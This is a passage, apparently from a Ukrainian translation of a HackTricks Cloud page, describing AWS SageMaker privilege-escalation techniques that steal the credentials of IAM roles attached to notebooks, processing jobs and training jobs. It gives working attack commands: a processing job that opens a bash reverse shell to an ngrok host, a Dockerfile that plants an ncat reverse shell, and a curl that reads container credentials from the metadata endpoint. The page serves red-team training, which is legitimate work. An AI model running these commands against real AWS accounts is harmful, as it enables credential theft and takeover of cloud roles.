Відповідь повинна містити поле NotebookInstanceArn, в якому буде міститися ARN новоствореного екземпляру ноутбука. Після цього ми можемо використати API create-presigned-notebook-instance-url для генерації URL, за допомогою якого ми зможемо отримати доступ до екземпляру ноутбука, як тільки він буде готовий:
Перейдіть за посиланням у браузері та клацніть на Open JupyterLab у верхньому правому куті, потім прокрутіть до вкладки "Launcher" та під розділом "Інше" клацніть кнопку "Terminal".
Тепер можливий доступ до метаданих облікових даних ролі IAM.
Потенційний вплив: Підвищення привілеїв до вказаної ролі сервісу sagemaker.
sagemaker:CreatePresignedNotebookInstanceUrl
Якщо на ньому вже запущені Jupyter нотатники і ви можете перелічити їх за допомогою sagemaker:ListNotebookInstances (або виявити їх будь-яким іншим способом). Ви можете створити для них URL, отримати до них доступ та вкрасти облікові дані, як вказано в попередній техніці.
Потенційний вплив: Підвищення привілеїв до ролі сервісу sagemaker, приєднаної.
sagemaker:CreateProcessingJob,iam:PassRole
Атакувальник з цими дозволами може змусити sagemaker виконати обробку завдання з приєднаною до нього роллю sagemaker. Атакувальник може вказати визначення контейнера, який буде запущений в екземплярі облікового запису AWS managed ECS, та викрасти облікові дані приєднаної ролі IAM.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Потенційний вплив: Підвищення привілеїв до вказаної ролі сервісу sagemaker.
sagemaker:CreateTrainingJob, iam:PassRole
Атакуючий з цими дозволами зможе створити навчальне завдання, запустивши довільний контейнер на ньому з прикріпленою роллю. Отже, атакуючий зможе вкрасти облікові дані ролі.
Цей сценарій складніше експлуатувати, ніж попередній, оскільки потрібно створити образ Docker, який буде надсилати оболонку rev або облікові дані безпосередньо атакуючому (ви не можете вказати початкову команду в конфігурації навчального завдання).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p$(awsecrget-login-password--region<region>)<id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Потенційний вплив:** Підвищення привілеїв до вказаної ролі сервісу sagemaker.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Зловмисник з цими дозволами (потенційно) зможе створити **роботу з налаштуванням гіперпараметрів**, **запустити довільний контейнер** на ньому з **прикріпленою роллю**.\
_Я не використовував це через відсутність часу, але виглядає схоже на попередні вразливості, не соромтеся надсилати PR з деталями експлуатації._
# Посилання
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
</details>